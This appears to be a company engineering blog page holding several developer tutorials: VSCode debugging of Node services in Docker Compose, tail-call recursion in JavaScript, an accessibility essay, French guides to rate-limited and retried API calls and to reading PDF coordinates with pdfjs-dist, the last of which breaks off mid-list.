Exemple article

  • How to use VSCode debugger with multiple Docker services

    How to use VSCode debugger with multiple Docker services

    In my company, we use Docker and Docker Compose to run our Node.js services locally. Recently, I needed to configure and run the VSCode debugger on some of these services to debug a feature. There are a few things to know to achieve this, which I will share in this article with some basic examples.

    Before we start, here are the points that will serve as a guideline in this tutorial:

    • We want to keep using Docker and Docker compose to run our services, so that we have the proper environment for each of these services (environment variables, etc).
    • We do not want to touch the current docker-compose.yml which could, potentially, be used in the future to deploy our services in production.

    The Sample Application

    Let’s start by creating a first service. It is a simple web server that concatenates two strings, a first name and a last name, and returns the result. This service will live in a webapp/ directory at the root of the project.

    The Node.JS code

    webapp/package.json

    {
    	"name": "webapp",
    	"scripts": {
    		"start": "node src/server.js"
    	},
    	"dependencies": {
    		"express": "^4.16.1"
    	}
    }
    

    webapp/src/server.js

    const express = require('express');
    const app = express();
    
    app.get('/fullname', (req, res) => {
    	const firstName = req.query.firstNme;
    	const lastName = req.query.lastName;
    	res.send(`${firstName} ${lastName}`);
    });
    
    app.listen(8080, () => console.log('Listening on port 8080...'));
    

    webapp/Dockerfile

    FROM node:16
    
    WORKDIR /usr/src/app
    
    COPY package*.json ./
    
    RUN npm install
    COPY . .
    
    EXPOSE 8080
    CMD [ "node", "src/server.js" ]
    

    webapp/.dockerignore

    node_modules
    npm-debug.log
    

    The Docker configuration

    Now that the application code is written and the Dockerfile created, we can add a docker-compose.yml file at the root of the project.

    docker-compose.yml

    services:
    	webapp:
    		build: ./webapp
    		ports:
    			- "127.0.0.1:8080:8080"
    

    Let’s start the service.

    docker-compose build
    docker-compose up -d
    

    If you go to http://localhost:8080/fullname?firstName=Foo&lastName=Bar, you should see the string undefined Bar, which is the unexpected behavior we will debug.

    Debugging the Application in Docker with VSCode

    The debugger command

    To allow the future VSCode debugger to attach to the Node service, we need to specify it when we start the process by adding the --inpect flag.

    Simply using --inspect or --inspect=127.0.0.1:9229 is not sufficient here because we need the 9229 port to be accessible from outside the service, which is allowed by the 0.0.0.0 address. So this command should only be used when you run the debugger in a Docker service. Otherwise, you would expose the port and the debugger to anyone on the Internet.

    webapp/package.json

    {
    	"name": "webapp",
    	"scripts": {
    		"start": "node src/server.js",
    		"start:docker:debug": "node --inspect=0.0.0.0:9229 src/server.js"
    	},
    	"dependencies": {
    		"express": "^4.16.1"
    	}
    }
    

    The Docker configuration

    Following our guideline, we do not modify the initial docker-compose.yml but create a second one that extends the first one. We will use the [f flag](https://docs.docker.com/compose/reference/#use–f-to-specify-name-and-path-of-one-or-more-compose-files) of the docker-compose CLI to use them both.

    docker-compose.debug.yml

    services:
    	webapp:
    		command: [ 'npm', 'run', 'start:docker:debug' ]
    		ports:
    			- "127.0.0.1:8080:8080"
    			- "127.0.0.1:9229:9229"
    

    Then, to restart the service with debug mode enabled, you can use this command:

    docker-compose build
    docker-compose -f docker-compose.yml -f docker-compose.debug.yml up -d
    

    The service is now ready to be attached to the VSCode debugger.

    Running the debugger with VSCode

    At the root of your project, create a new directory .vscode and add the following configuration file.

    .vscode/launch.json

    {
    	"version": "0.2.0",
    	"configurations": [
    		{
    			"type": "node",
    			"request": "attach",
    			"name": "Debug webapp",
    			"remoteRoot": "/app/src",
    			"localRoot": "${workspaceFolder}/webapp/src"
    		}
    	]
    }
    

    When adding a breakpoint, the remoteRoot and localRoot properties will match the file’s position in the VSCode environment and its location in the Docker service file system.

    You can now start the debugger on the webapp service. Open the debugging panel and select the Debug webapp option. Then click on the play button.

    The debugger is started.

    Add a breakpoint on line 6 and then go to http://localhost:8080/fullname?firstName=Foo&lastName=Bar.

    The debugger stops on line 6 and we can see that the variable firstName is undefined. The problem comes from line 5 where this is a typo on the firstName parameter name.

    To close the debugger, click on the button with a red square.

    Debugging Multiple Docker Services

    The Node.JS micro-service

    To take this a step further, we will add another service, named micro-service, which will be called by webapp.

    First, copy and paste the contents of the webapp directory into another directory named micro-service.

    Then, in the webapp directory, install axios and update the code as follows.

    npm install axios
    

    webapp/src/server.js

    const express = require('express');
    const axios = require('axios');
    
    const app = express();
    
    app.get('/fullname', async (req, res, next) => {
    	try {
    		const { data: fullName } = await axios.get('<http://micro-service:8080/fullname>', {
    			params: req.query
    		});
    		res.send(fullName);
    	} catch (err) {
    		next(err);
    	}
    });
    
    app.listen(8080, () => console.log('Listening on port 8080...'));
    

    The URL used line 8 is based on the name of the Docker service defined in the next section.

    The Docker configuration

    Add the new service to your docker-compose.yml. Note that it uses a different port so as not to conflict with the webapp service.

    docker-compose.yml

    services:
    	webapp:
    		build: ./webapp
    		ports:
    			- "127.0.0.1:8080:8080"
    	micro-service:
    		build: ./micro-service
    		ports:
    			- "127.0.0.1:3001:8080"
    

    Then, in your docker-compose.debug.yml, add the new service as well. Note that the debugger port is also different from the first one.

    docker-compose.debug.yml

    services:
    	webapp:
    		command: [ 'npm', 'run', 'start:docker:debug' ]
    		ports:
    			- "127.0.0.1:8080:8080"
    			- "127.0.0.1:9229:9229"
    	micro-service:
    		command: [ 'npm', 'run', 'start:docker:debug' ]
    		ports:
    			- "127.0.0.1:3001:8080"
    			- "127.0.0.1:9230:9229"
    

    Now build and start the two services.

    docker-compose build
    docker-compose -f docker-compose.yml -f docker-compose.debug.yml up -d
    

    Running multiple debuggers with VSCode

    The last thing to do is to add the configuration of the second debugger in launch.json.

    .vscode/launch.json

    {
    	"version": "0.2.0",
    	"configurations": [
    		{
    			"type": "node",
    			"request": "attach",
    			"name": "Debug webapp",
    			"remoteRoot": "/app/src",
    			"localRoot": "${workspaceFolder}/webapp/src"
    		},
    		{
    			"type": "node",
    			"request": "attach",
    			"name": "Debug micro-service",
    			"port": 9230,
    			"remoteRoot": "/app/src",
    			"localRoot": "${workspaceFolder}/micro-service/src"
    		}
    	]
    }
    

    Once the configuration is added, you can run the two debuggers for each service.

    Once both debuggers are started, add a breakpoint in each service and go to http://localhost:8080/fullname?firstName=Foo&lastName=Bar. The application will stop successively on each breakpoint.

    Your VSCode debugger is now fully configured to work with your Docker services. Congratulations!

  • Tail call: Optimizing recursion

    Tail call: Optimizing recursion

    Recursive functions are recommended to solve some problems, or imposed by languages like pure functional programming languages which don’t have for and while loops. But recursion may comes at a price.

    Let’s use recursion to sum the elements of an array and understand how to optimize it with tail call optimization.

    Note that I use JavaScript and although tail call optimization appeared in ES 6 specifications, most engines don’t implement it, including V8. Apple WebKit is one of the only ones where it is available. Other languages implementing tail call optimization are listed in the Wikipedia article about tail call.

    Naive implementation

    function sum(x) {
    	// Base case. The sum of no elements is 0
    	if (x.length === 0) {
    		return 0;
    	}
    
    	// Add the first element to the sum of all the other elements
    	return x[0] + sum(x.slice(1));
    }
    

    It runs like this:

    Comes the call stack. The call stack keeps track of where the interpreter is in a program that calls multiple functions. When the program calls a function, the interpreter adds that function on the top of the call stack. When the function is finished, the interpreter takes it off the stack.

    Basically that’s how it computes sum([1, 2, 3]):

    [] is the base case. It returns 0. The interpreter has stacked 4 frames. Now it can start unstacking. With bigger arrays (about 10 000 elements depending on configuration), the call stack could reach its maximum size, crashing the program.

    Tail call to the rescue

    Tail call means that the final action of a function is a function call.

    In the previous implementation, the final action of the function was an addition.

    Let’s apply tail call. To do that, you have to add an accumulator argument to the function to save the partial sum. Using an accumulator is often required to apply tail call.

    function sum(x, acc = 0) {
    	// Base case: no more elements, returns the accumulator
    	if (x.length === 0) {
    		return acc;
    	}
    
    	// Call sum() without the first element
    	// Add the first element to the accumulator
    	// The recursive call to sum() is now the final action of the function
    	return sum(x.slice(1), acc + x[0]);
    }
    

    It runs like this:

    The interpreter doesn’t have to go back to the previous sum() call. It only has to go back to the original caller sumCaller(). Thereby, the call stack doesn’t need to keep track of all calls to sum(). That allows an optimization called tail call optimization. Interpreters that implement tail call optimization will only use one frame to keep track of the current call to sum().

    With tail call optimization, the call stack is like this:

    Now, even with bigger arrays, the call stack will only use one frame to compute sum().

    Be careful using recursion and think about tail call optimization.

  • Accessibility

    Accessibility

    Accessibility

    Foreword

    This is no techie article but it does indeed talk about tech.

    Don’t expect code blocks below, but I trust I’ll broach some important thinking points. I’m also no definitive expert on the subject, but I have always found the discussed issue to be dramatically important in our ecosystem.

    So please bear with me!

    Let’s play a game

    Imagine if you will that you’re surfing merrily on your favorite handheld device on a warm autumn afternoon. Battery chock-full of energy, 4G (5G even?) pouring kitten photos on your nice 90Hz OLED screen, fluid interface anticipating your every needs.

    And all is well.

    Now. Now, imagine that the sun suddenly shines through the low-hanging clouds and glares over your screen.

    You’re handicapped.

    Imagine your ISP decided you did not give them enough kitten-money and throttles your connection.

    You’re handicapped.

    Imagine it’s now winter and real darn cold. You’re wearing gloves, and the touch-screen doesn’t register your fingers.

    You’re handicapped.

    You get a notification. But your phone’s vibrator is deactivated. Lucky for you, it does ring. Unlucky for you, you work in a loud factory.

    You’re handicapped.

    BUT WAIT!

    I’m no handicapped person I hear you cry out, slightly worried.

    Well, you yourself might not be disabled, but you definitely will be handicapped from time to time, maybe less than others, maybe more, definitely for different reasons.

    What of it?

    Accessibility isn’t a buzzword or a fad. Accessibility isn’t just another metric or a Lighthouse report entry. Accessibility is actually one of the founding principles of the Internet (and maybe the most important one).

    <aside> ℹ️ Don’t quote me on that. !! You might want to quote the Contract for the web’s principles 1 though.

    </aside>

    (huge) list of 584 companies supporting Contract for the web

    All those guys and girls must sure know what they’re talking about.

    And what do we find there first? Right at the top?

    Ensure everyone can connect to the internet

    And just a bit further?

    Make the internet affordable and accessible to everyone

    Although these two principles are aimed respectively at governments and companies, I do believe that everyone is part of the Web (World-Wide, remember?) and should act accordingly. And it has nothing to do whatsoever with our personal mental and / or physical abilities.

    Accessibility is not about handicap. It is not about disability. It is no luxury. It’s the basis of an ever-expanding global network that cannot be allowed to leave anyone behind. It might sound cheesy, overly philosophical or even utopian, but it has direct implications for anyone building (for) the Web and potentially dire repercussions for anyone using it.

    1. Net neutrality is no joke
    2. No-one is immune to being handicapped
    3. Accessibility is a duty of those building tools online
    4. Accessibility is the standard and not the other way around
    5. Building accessible platforms means building better platforms tech-wise
    6. It’s no ethical conundrum, but it is an ethical imperative

    Let us dive deeper then.

    1. Net neutrality

    This one might surprise you, as it’s not commonly associated with handicap, but it might just be as important for this topic. Indeed, as we thrive not to discriminate handicapped users, we also must fight against data discrimination.

    If you’re throttled by your ISP, you’re not going to be able to use the Web normally.

    Let’s never give up on this one. It affects every single person as independent decentralized internet access is still somewhat of a utopia.

    I won’t go into too much details here, as so many much more relevant and informed people are fighting everyday for it.

    Do go support them though!

    2. Everyone is liable to handicap (yes even you)

    Disability and handicap are two very different concepts. If a disabled person might be handicapped most of the time, a perfectly able person will be handicapped from time to time. As evolved as we may like to think our society is, able-ism is still very present on- and off-line. And it does not stop at too few wheelchair-accessible stores and homes.

    It does not stop at allowing visually impaired people to use your website either. In this wonderful diversity of humans all around the disc globe, everyone has different needs and different ways of consuming the Web. Be it by aid of a screen-reader, by zooming every webpage to 200% or by using a slow reconditioned device inherited from your third sibling. You just can NOT assume everyone is on a broadband connection enabled desktop with a fullHD screen in good lighting conditions.

    An example so dumb it might seem trivial is the difference between touch-devices and mouse usage. You just don’t click the way you tap. And the other way round. And you must take both use-cases into account. Especially since the borders between devices seems to be fading (looking at you convertible laptops and stylus phones).

    3. As a developer it’s your job to build accessible platforms, not the user’s

    You might rarely see a web developer job offer containing explicit mention of accessibility, but it’s not because it’s not part a of the tasks. It’s because it’s an implicit prerequisite. As a developer, it is your duty to take it into account.

    If you love the Web (and I hope you do if you build it) you’re expected to take its philosophy into account. It’s right there in the name : World-Wide Web. World-Wide. Entire populations. The entire population.

    4. Accessibility is no afterthought. It’s the basis.

    It’s often thought that you can build stuff and make it accessible afterwards. That if you find some time at the end of the sprint you might either add aria attributes or enjoy a day off.

    Well… NO. If you don’t include it from the ground up, you are discriminating users. And discrimination is bad, m’kay? It’s no quick-win to block people from using your app.

    5. Virtuous circles and best practices

    Think about it. If you build stuff right on one aspect, chances are other parts of the system will benefit from it.

    Accessibility as a standard helps you build better tech.

    Taking time to think about the tabbing index of your page to allow users to navigate it using their keyboard can only improve the zoning and hierarchy of the page.

    Taking time to improve the contrast ratios of your UI will improve it’s design.

    Taking time to label your actionable elements will also improve the page’s SEO.

    Lowering your data payloads for low-bandwidth users will speed up page load for everyone.

    It’s win-win on so many levels.

    6. Ethics bro

    Ethics has always had bad press if any press at all. The trolley problem might spring to mind. Or NBC’s “The good place”. Or even the bible, perhaps?

    All things whatsoever ye would that men should do to you, do ye even so to them.

    Erm… English please?

    Do unto others as you would have them do unto you.

    That’s about it. As a Web-builder, you should create software that treats people ethically. Period. No maybe, no buts, no ifs, you just cannot expect people to use your software in ideal conditions and according to your own plan.

    You cannot predict the every use case, nor should you, you can just embrace accessibility as one of the basic building blocks of your app to ensure no one is left behind.

    Yes, even you.

    Footnotes

    [1] Principles for the web

    • “Ensure everyone can connect to the internet”.
    • “Keep all of the internet available, all of the time”.
    • “Respect and protect people’s fundamental online privacy and data rights”.
    • “Make the internet affordable and accessible to everyone”.
    • “Respect and protect people’s privacy and personal data to build online trust”.
    • “Develop technologies that support the best in humanity and challenge the worst”.
    • “Be creators and collaborators on the Web”.
    • “Build strong communities that respect civil discourse and human dignity”.
    • “Fight for the Web”.
  • Comment bétonner l’intégration d’une API

    Comment bétonner l’intégration d’une API

    Quand on développe une application d’une certaine taille, on fait généralement appel à des solutions tierces pour certaines fonctionnalités qui ne sont pas “coeur de métier”, ou tout simplement pour des besoins annexes à l’application (CRM et compagnie).

    Et si tout va bien, cette solution va nous fournir des API pour échanger avec elle.

    Parfois ces API fonctionnent parfaitement, et tout le monde est content. Spoiler alert : c’est loin d’être toujours le cas !

    Le but n’étant de taper sur personne, nous allons imaginer une API fictive, qui fonctionnera plus ou moins bien pour démontrer ce qui m’arrange.

    Voilà ce qui va se passer :

    On dispose d’une liste de villes pour lesquelles on a besoin de récupérer la météo.

    On va aller de l’implémentation la plus simple à la plus robuste.

    Si vous maîtrisez JavaScript, vous devriez connaître au moins jusqu’au niveau 2.

    Mais j’ai bon espoir de vous faire découvrir des outils sympa dans la suite, restez jusqu’au bout (le 7ème va vous étonner).

    Si vous voulez tester au fil de l’eau, tous les exemples sont disponibles ici : https://replit.com/@rsauget/blog-api

    Niveau 0 – naïf

    import _ from 'lodash';
    
    async function getWeather({ city }) {
    	// On ajoute un peu de délai pour se rendre compte de l'impact
      await new Promise((resolve) => setTimeout(resolve, 1000));
      return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']);
    }
    
    const cities = ['Lyon', 'Montpellier', 'Paris'];
    
    const results = {};
    
    for (const city of cities) {
      results[city] = await getWeather({ city });
    }
    
    console.log(results);
    // {
    //   Lyon: 'Soleil',
    //   Montpellier: 'Soleil',
    //   Paris: 'Pluie',
    // }
    

    On a ici une première version très simple : on boucle sur les villes demandées, et pour chacune on va récupérer le temps qu’il y fait. On agrège les résultats dans un objet.

    Dans un monde parfait, cette solution pourrait convenir.

    En pratique, vous aurez surement noté plein de défauts : c’est bien le but, et d’ici quelques minutes j’espère que nous en aurons traité la majorité !

    Le premier défaut de cette version naïve est d’effectuer une requête après l’autre, de façon séquentielle, comme si on avait besoin de la météo de la première ville avant de demander la météo de la seconde. On sent qu’il y a mieux à faire.

    Version 1 – exécution “parallèle”

    Le but n’étant pas de rentrer dans le détail de la gestion de l’asynchronicité en Javascript, vous me pardonnerez le raccourci de parler d’exécution parallèle.

    On va donc utiliser un Promise.all pour paralléliser les appels à notre service externe :

    import _ from 'lodash';
    
    async function getWeather({ city }) {
      await new Promise((resolve) => setTimeout(resolve, 1000));
      return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']);
    }
    
    const cities = ['Lyon', 'Montpellier', 'Paris'];
    
    // On construit l'objet résultant à partir de paires [clé, valeur]
    const results = Object.fromEntries(
      await Promise.all(
        cities.map(
          async (city) => [city, await getWeather({ city })],
        ),
      ),
    );
    
    console.log(results);
    // {
    //   Lyon: 'Soleil',
    //   Montpellier: 'Soleil',
    //   Paris: 'Pluie',
    // }
    

    Ca fonctionne bien parce qu’on a trois villes, et que notre API peut gérer 3 requêtes concurrentes les doigts dans le nez.

    Essayez d’en mettre 1000 pour voir : il y a de bonnes chances que l’API vous dise gentiment de vous calmer.

    Dans le meilleur des cas, ce sera une réponse HTTP cordiale : 429 - Too Many Requests.

    Mais ça peut passer par un timeout, une déconnexion impromptue (bonjour ECONNRESET), une erreur 500, ou même vous faire bloquer votre IP. Pas génial.

    Pour pallier ce problème, on va limiter le nombre de requêtes concurrentes.

    Version 2 – parallèle, mais pas trop

    On pourrait traiter les requêtes par paquets de 10 par exemple, mais l’idéal serait une fenêtre glissante : on en lance 10, et à chaque fois qu’une termine on en relance une, de sorte qu’on en ait toujours 10 qui tournent.

    Il y a une petite bibliothèque qui permet précisément de faire ça : p-limit (https://www.npmjs.com/package/p-limit)

    import _ from 'lodash';
    import pLimit from 'p-limit';
    
    async function getWeather({ city }) {
      await new Promise((resolve) => setTimeout(resolve, 10));
    	return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']);
    }
    
    const cities = _.range(1000).map(n => `Ville ${n}`);
    
    // Vous pouvez jouer avec la limite pour voir l'impact sur le temps d'exécution
    const limit = pLimit(10);
    
    // On va wrapper l'appel avec p-limit, qui gèrera quand déclencher la fonction
    const limitedGetWeather = (city) => limit(
      async () => [city, await getWeather({ city })],
    );
    
    const results = Object.fromEntries(
      await Promise.all(
        cities.map(limitedGetWeather),
      ),
    );
    
    console.log(results);
    

    Il y a d’ailleurs toute une famille de bibliothèques autour de p-limit : p-all, p-map

    Je vous invite à y jeter un oeil, elles sont bien pratiques et assez légères.

    En jouant sur le nombre de requêtes concurrentes qu’on autorise, on peut arriver à coller à peu près à ce que tolère l’API.

    Mais on peut faire mieux.

    Version 3 – parallèle juste ce qu’il faut

    La plupart des API explicitent leur politique de rate-limit dans leur documentation. Elle est généralement exprimée en nombre de requêtes par unité de temps, par exemple 10000 requêtes par minute.

    Et bien là encore, une bibliothèque qui gère ça très bien : bottleneck (https://www.npmjs.com/package/bottleneck)

    Contrairement à p-limit, bottleneck est assez costaude, mais gère tout un tas de situations :

    • “réservoirs” (on vous redonne 100 requêtes toutes les 10 secondes par exemple)
    • groupes : un ensemble de limiteurs similaires identifiés par une clé
    • distribué : on peut le connecter à un redis et le limiteur est synchronisé entre plusieurs services
    • politique de “débordement” : si on fait beaucoup plus de requêtes que la limite autorisée, les appels vont s’accumuler dans la file d’attente ; on peut décider de limiter la taille de cette file et de définir ce qu’on fait quand ça “déborde”
    • etc.

    On peut ainsi traiter à peu près tous les cas de figure. Mais pour aujourd’hui, restons sur l’exemple simple de 10000 requêtes par minute.

    import _ from 'lodash';
    import Bottleneck from 'bottleneck';
    
    // Vous pouvez jouer avec les limites pour voir l'impact sur le temps d'exécution
    const limiter = new Bottleneck({
      // 10000 requêtes par minute => 6ms entre chaque requête
      minTime: 6,
      // c'est généralement une bonne idée d'aussi limiter la concurrence
      maxConcurrent: 5,
    });
    
    // On wrap l'appel à l'API avec bottleneck, pour en limiter le flux
    const getWeather = limiter.wrap(async ({ city }) => {
      await new Promise((resolve) => setTimeout(resolve, 10));
    	return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']);
    });
    
    const cities = _.range(1000).map(n => `Ville ${n}`);
    
    const results = Object.fromEntries(
      await Promise.all(
        cities.map(
          async (city) => [city, await getWeather({ city })],
        ),
      ),
    );
    
    console.log(results);
    

    Grâce à bottleneck on peut être au plus proche du rate limit de l’API, et ainsi aller le plus vite possible sans se faire flasher.

    Version 4 – gestion d’erreur

    Je crois que c’est La Fontaine qui disait que rien ne sert de courir si c’est pour se gauffrer sur la première erreur venue (https://fr.wikipedia.org/wiki/Le_Lièvre_et_la_Tortue_(La_Fontaine)).

    Et bien c’est exactement ce qu’on est en train de faire. Si une seule requête échoue, elle entraîne toutes les autres dans sa chute, et on se retrouve sans aucun résultat.

    Ça peut être souhaitable vous me direz. Mais supposons pour l’exemple qu’on préfère savoir le temps qu’il fait dans 99% des villes plutôt que dans aucune.

    En plus, le Promise.all a un comportement qui peut surprendre : toutes nos requêtes vont s’exécuter, quoi qu’il arrive. Certaines peuvent faire des erreurs, ça n’arrête pas les suivantes pour autant. Et cerise sur le gâteau, l’erreur qui va remonter au final sera seulement la première de la liste.

    En résumé, en cas d’erreur il est difficile de savoir exactement ce qui s’est passé et ce qui a fonctionné ou pas. Ça va qu’on ne fait que des GET, imaginez si on était en train de passer des transactions bancaires…

    On peut mettre un try/catch dans notre fonction getWeather, et traiter chaque erreur individuellement. Ça laisse la possibilité de re-throw l’erreur en cas de panique.

    Mais si on souhaite gérer les erreurs dans leur ensemble, on a une autre fonction : Promise.allSettled(disponible à partir de node 12.10.0 https://node.green/#ES2020-features–Promise-allSettled).

    import _ from 'lodash';
    import Bottleneck from 'bottleneck';
    
    const limiter = new Bottleneck({
      minTime: 6,
      maxConcurrent: 5,
    });
    
    const getWeather = limiter.wrap(async ({ city }) => {
      await new Promise((resolve) => setTimeout(resolve, 10));
      // On a 1 chance / 10 d'avoir une erreur
      if (_.random(10) === 0) throw new Error('ECONNRESET');
    	return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']);
    });
    
    const cities = _.range(1000).map(n => `Ville ${n}`);
    
    // On zip les villes avec le résultat des requêtes pour faire des paires [ville, resultat]
    const results = _.zip(
      cities,
      await Promise.allSettled(
        cities.map(
          (city) => getWeather({ city }),
        ),
      ),
    );
    
    // Chaque résultat de Promise.allSettled est de la forme : { status: 'fulfilled', value: 'Résultat' }
    // ou { status: 'rejected', reason: 'Erreur' }
    // Ce qui avec le zip donne un results de la forme :
    // [
    //   ['Ville 1', { status: 'fulfilled', value: 'Soleil' }],
    //   ['Ville 2', { status: 'fulfilled', value: 'Pluie' }],
    //   ['Ville 3', { status: 'rejected', reason: 'ECONNRESET' }],
    //   ['Ville 4', { status: 'fulfilled', value: 'Pluie' }],
    // ]
    // _.partition va nous séparer la liste des résultats en deux listes, selon que la requête a réussi ou non
    const [successes, failures] = _.partition(results, ['1.status', 'fulfilled']);
    
    if (!_.isEmpty(failures)) {
      console.error(
        _.chain(failures)
          .groupBy('1.reason')
          .mapValues((results) => _.map(results, _.first))
          .value(),
      );
    }
    
    console.log(
      _.chain(successes)
        .fromPairs()
        .mapValues('value')
        .value(),
    );
    

    Promise.allSettled nous retourne la description du résultat de l’ensemble de nos requêtes, qu’elles aient réussi ou pas. Libre à nous de gérer les succès et erreurs comme on le souhaite.

    Maintenant, toutes les erreurs ne se valent pas.

    Si on demande une ville qui n’existe pas par exemple, on peut se contenter de retourner une météo undefined.

    Mais si le service est juste momentanément indisponible, on peut vouloir essayer une nouvelle fois.

    Version 5 – on persévère

    Un des grands préceptes Shadok nous enseigne que plus ça rate, plus on a de chance que ça marche (https://fr.wikipedia.org/wiki/Les_Shadoks).

    Dans notre cas, si l’API nous renvoie une erreur momentanée, ou indéterminée, on va vouloir retenter notre chance, jusqu’à ce que ça retombe en marche.

    Vous me voyez venir ?

    Bien vu, j’ai une bibliothèque pour ça : async-retry (https://www.npmjs.com/package/async-retry)

    Elle permet de réessayer une requête en erreur, avec de chouettes options :

    • délai entre les tentatives, avec un facteur si on veut l’augmenter de manière exponentielle, et également un facteur aléatoire si on veut
    • limite en nombre de tentatives et/ou en temps
    • annuler les tentatives restantes, en cas d’erreur fatale par exemple

    On peut ainsi faire quelque chose comme :

    import _ from 'lodash';
    import Bottleneck from 'bottleneck';
    import retry from 'async-retry';
    
    const limiter = new Bottleneck({
      minTime: 6,
      maxConcurrent: 5,
    });
    
    const getWeather = limiter.wrap(
      async () => {
        await new Promise((resolve) => setTimeout(resolve, 10));
        if (_.random(10) === 0) throw new Error('ECONNRESET');
        return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']);
      },
    );
    
    // On wrap l'appel avec async-retry, pour la gestion d'erreur
    const getWeatherRetry = async ({ city }) => retry(
      async () => getWeather({ city }),
      {
        // On retente toutes les 100ms dans la limite de 5 fois
        retries: 5,
        minTimeout: 100,
        factor: 1,
      }
    );
    
    const cities = _.range(1000).map(n => `Ville ${n}`);
    
    const results = _.zip(
      cities,
      await Promise.allSettled(
        cities.map(
          (city) => getWeatherRetry({ city }),
        ),
      ),
    );
    
    const [successes, failures] = _.partition(results, ['1.status', 'fulfilled']);
    
    if (!_.isEmpty(failures)) {
      console.error(
        _.chain(failures)
          .groupBy('1.reason')
          .mapValues((results) => _.map(results, _.first))
          .value(),
      );
    }
    
    console.log(
      _.chain(successes)
        .fromPairs()
        .mapValues('value')
        .value(),
    );
    

    Attention toutefois : c’est sympa de réessayer les requêtes jusqu’à ce que ça marche, comme un bourrin. Quand on GET de la donnée comme ici, il ne peut rien se passer de trop gênant. Si la requête fait des modifications en revanche, ça n’est pas toujours une bonne idée.

    Prenons un exemple au hasard : imaginez que Netflix fasse ça sur la requête de paiement de votre abonnement, et que celle-ci soit rejouée 10 fois. Eh ben ça va pas faire une soirée très “chill”, comme disent les jeunes.

    Il faut donc toujours se poser la question de l’impact de faire la requête plusieurs fois sur le fonctionnement du système, avant de mettre en place une telle logique.

    C’est aussi sympa pour l’API de mettre un délai exponentiel. Si elle est sous l’eau, vous lui laisserez ainsi une chance de reprendre ses esprits avant de vous répondre.

    Conclusion

    En combinant une logique de rate-limit avec une bonne gestion d’erreur, comme on a pu le faire avec le combo gagnant bottleneck + async-retry, on arrive à un code relativement tout-terrain.

    On l’utilise chez Indy pour certaines synchronisations un peu capricieuses, et ça tourne comme une horloge.

    Et pour finir sur une note plus sérieuse, gardez à l’esprit qu’il y a aussi des dev derrière les API sur lesquelles on aime râler, et que c’est très difficile, voire impossible, de fournir un service parfaitement fiable. Soyez compréhensifs, et raisonnables dans vos intégrations, ne faites pas les bourrins 😉

  • Récupérer les coordonnées dans un fichier pdf avec pdfjs-dist

    Récupérer les coordonnées dans un fichier pdf avec pdfjs-dist

    Contexte

    Chez Indy on fait de la compta :p. Nous devons donc produire différents documents (en pdf) qui seront soit télétransmis soit utilisés par nos clients afin de remplir les mêmes documents sur notre joli site des impôts.

    Presque chaque année, les documents changent (dans notre jargon on parle de millésime) et on doit mettre à jour notre générateur de document. Les documents sont mis à disposition par l’État et sont des PDF sans zone de texte clairement définie.

    https://i0.wp.com/media.giphy.com/media/KDRv3QggAjyo/giphy.gif?resize=445%2C344&ssl=1

    Du coup nous prenons le pdf comme une image de fond et nous écrivons par dessus les bonnes données de chaque client. Il nous faut donc les bonnes coordonnées dans le pdf.

    Nous avons plusieurs problématiques.

    Différence entre PDFs

    La première difficulté est de voir la différence entre 2 millésimes. Nous utilisons pour ça l’outil diff-pdf (https://vslavik.github.io/diff-pdf/).

    Pour l’installer sur mac c’est facile (pour les autres OS je vous laisse regarder ici : https://github.com/vslavik/diff-pdf#obtaining-the-binaries) :

    brew install diff-pdf
    

    Ensuite on peut facilement voir la différence entre 2 pdf avec la commande suivante :

     diff-pdf --view 2033-sd_3330.pdf 2033-sd_3723.pdf
    

    La commande ouvrira une visionneuse (par contre c’est moche 😛).

    Récupérer les coordonnées dans un pdf

    Afin d’avoir les coordonnées, nous pouvons utiliser facilement des outils web. Pour les curieux, le lien vers le code final se trouve en bas de l’article.

    Nous commençons par créer le fichier html. Nous avons besoin d’un canvas. Nous allons aussi créer un span où on mettra les coordonnées.

    <div id="app">
      <div class="coord">Current: <span id="coord"></span></div>
      <canvas id="canvas"></canvas>
    </div>
    

    Un peu de css pour bien voir les positions.

    .coord {
      background-color: black;
      color: cornsilk;
      width: 135px;
      position: fixed;
    }
    

    Puis nous allons créer le fichier index.ts

    import { pdf } from './pdf';
    import * as pdfjsLib from 'pdfjs-dist';
    import pdfjsWorkerEntry from 'pdfjs-dist/build/pdf.worker.entry.js';
    pdfjsLib.GlobalWorkerOptions.workerSrc = pdfjsWorkerEntry;
    
    const canvas = document.getElementById('canvas') as HTMLCanvasElement;
    const ctx = canvas.getContext('2d') as CanvasRenderingContext2D;
    
    const load = async () => {
      // le pdf est en base64 car le site des impôts n'accepte pas les requêtes cors
      const pdfDoc = await pdfjsLib.getDocument(pdf).promise;
      const page = await pdfDoc.getPage(1);
      const viewport = page.getViewport({ scale: 1.5 });
      const renderContext = {
        canvasContext: ctx,
        viewport: viewport,
      };
      canvas.height = renderContext.viewport.height;
      canvas.width = renderContext.viewport.width;
      await page.render(renderContext).promise;
    
      function getMousePos(e: MouseEvent) {
        var rect = canvas.getBoundingClientRect();
        return { x: e.clientX - rect.left, y: e.clientY - rect.top };
      }
    
      canvas.addEventListener(
        'click',
        function (e) {
          const pos = getMousePos(e);
    
          /// check x and y against the grid
          const [x, y] = viewport.convertToPdfPoint(pos.x, pos.y) as any;
          const currPos = [parseInt(x, 10), parseInt(y, 10)];
    
          document.getElementById(
            'coord'
          )!.textContent = `${currPos[0]}, ${currPos[1]}`;
        },
        false
      );
    };
    
    load();
    

    La ligne suivante permet de faire fonctionner correctement pdfjs-dist avec un worker.

    import pdfjsWorkerEntry from 'pdfjs-dist/build/pdf.worker.entry.js';
    pdfjsLib.GlobalWorkerOptions.workerSrc = pdfjsWorkerEntry;
    

    Le point important du code est à la ligne 33 avec viewport.convertToPdfPoint. Cette méthode permet d’avoir les bonnes coordonnées à l’intérieur du pdf. Elle va convertir le x, y du navigateur en coordonnées du pdf.

    Une fois que vous aurez cliqué sur une zone du pdf, vous allez voir les coordonnées dans le bloc noir en haut à gauche.

    Vous pouvez voir le résultat ici : https://typescript-qgcwq5.stackblitz.io

    Et voir le code là : https://stackblitz.com/edit/typescript-qgcwq5

    ❗ Le fichier pdf.ts est là car :

    • stackblitz (free) ne permet pas de déposer un fichier
